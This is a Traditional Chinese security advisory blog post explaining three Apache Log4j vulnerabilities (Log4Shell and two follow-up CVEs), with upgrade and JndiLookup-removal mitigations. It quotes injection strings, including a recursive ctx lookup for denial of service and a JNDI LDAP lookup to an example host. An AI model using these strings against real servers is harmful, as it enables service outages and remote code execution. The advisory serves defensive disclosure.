【持續更新+ Demo 展示】Log4Shell / Apache Log4j 日誌框架系統重大漏洞,伊雲谷提建議措施

Apache Log4j 是一款開源 Java Log 工具,Log 日誌主要用來追蹤、紀錄程式函式與變數的運作狀況,並搭配其他工具週期性地做 Log Record 的統計分析,透過 Log 可以更有效率的追蹤程式執行的過程、稽核的憑據、協助開發 Debug、找出效能瓶頸做優化…等等,對開發人員或管理人員相當重要。
Log4j 可以針對 Log 做輸出類型控制、輸出方式、格式…等,大幅度增加資訊人員對於 Log 的控制能力,也支援透過 Config 文件做客製化彈性配置,在 Java 開發環境中為一大熱門工具。

據外媒表示,此次 Log4j 漏洞被稱為過去 10 年最大型的系統問題,導致全球不分國別、公司規模,其數百萬應用程式暴露於駭客風險之中,受影響甚廣,包含 Apple、Akamai、Amazon、Cisco、IBM、Microsoft、Oracle 等。各方廠商均積極釋出相關版本更新資訊及補救套件。

CVE-2021–45105 漏洞說明

CVSS 漏洞評分為 7.5 分

在 Log4j 2.0-alpha1 到 2.16.0 版本中,沒有針對 self-referential lookup 不受控制的遞迴做防範行為。若應用場景啟用 Mapped Diagnostic Context (MDC)針對 Multi-thread 做 Log 日誌資訊調用時,攻擊者可以透過特殊的 Payload 與 Context Lookup ,如 ${ctx:user1:-${ctx:user}} 之類的讓 Context Map 不斷地去產生 user 的遞迴查詢,利用含有遞迴查詢的惡意 Injection,導致 Server 發生StackOverflowError 的錯誤、進而終止服務,實現 Denial of Service (DoS) 攻擊。

針對 Java8 在 2.17.0 版本之後,可以設定特定的查詢字串才能被遞迴執行;除此之外的其他用法僅解析頂層查詢,不解析任何巢狀查詢。

CVE-2021–45046 漏洞說明

CVSS 漏洞評分為 3.7 分

根據 CVE-2021–44228,可以透過修改 Log4j 配置來修復以 JNDI Lookup 觸發 RCE 的漏洞;在 Apache Log4j 2.15.0 版本的非預設配置情況下,仍有該漏洞發生的可能性,故列為新的漏洞編號。
2.15.0 版本將 JNDI LDAP Lookup 的範圍預設限制為 [localhost] ,也再次重申先前修改 log4j2.noFormatMsgLookup 的修復方法並無法完全排解;仍可以透過特殊的 Payload, 如 $${ctx:logicId} 等,以 work around 的方式繞過 Log4J_FORMAT_MSG_NO_LOOKUPS=True的 Filter 與確認來執行 JNDI Lookup 漏洞。

故在 2.16.0 版本中透過刪除 message lookup patterns 並調整 JNDI 功能預設為關閉,來加以排解此漏洞發生的可能性。

CVE-2021–44228 漏洞說明

此次漏洞屬於遠端程式碼執行 Remote Code Execution (RCE) 漏洞,在 CVSS 漏洞評分系統中被評判為最嚴重等級的 10 分,也被認為是近年來繼 Heartbleed、ShellShock 最重大的漏洞。

由 Log4j 中 JNDI Lookup 功能造成,該功能允許開發人員透過協議去讀取、查詢環境中的資料。JNDI Lookup 在特定情況底下,會因為「 : 」忽略 Prefix 的建立;如 ${jndi:ldap://examplel.com/demo} 的狀況下,JNDI 會忽略 jndi: 、同時紀錄並執行 ldap://exampe.ocm/demo 送出請求至 LDAP Server 查詢 demo 這個物件。這便開了一道門讓攻擊者可以在任意的輸入區塊,如查詢欄位、聊天室、表單等地方輸入惡意請求,Log4j 便會透過 logger 機制記錄該輸入資訊,進而觸發 JNDI Lookup 將請求引導至有害的 LDAP Server 、載入惡意程式到 Log4j 服務伺服器上執行惡意攻擊,攻擊者甚至可以直接取得 Root Shell 權限、接管該 Server 作業系統。

除了涉及層面與服務相當廣泛之外,攻擊手法也極其簡單,在 Youtube 影片 CVE-2021–44228 — Log4j — MINECRAFT VULNERABLE! 中,可以看到在 Minecraft 聊天欄位中貼上相關語法的訊息,即可在該 Minecraft Server 中觸發 RCE、開啟 Server 端的應用程式;故 Apache 基金會等大廠也呼籲大家盡快更新、修復後重啟有用到 Log4j 的服務與應用程式。

安全建議措施

  1. 儘速升級至 Apache Log4j 最新 Log4j 2.17.0 以上的版本
  2. 確認運作環境是否含有 Apache log4j-core Jar 檔
  3. 將 JndiLookup 從 classpath 中移除,停用 JNDI Lookup 功能,參考語法 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

完整及最新資訊請關注:eCloudture Medium

2022-02-24T18:27:24+00:00 2021/12/21 |新聞, 資訊安全|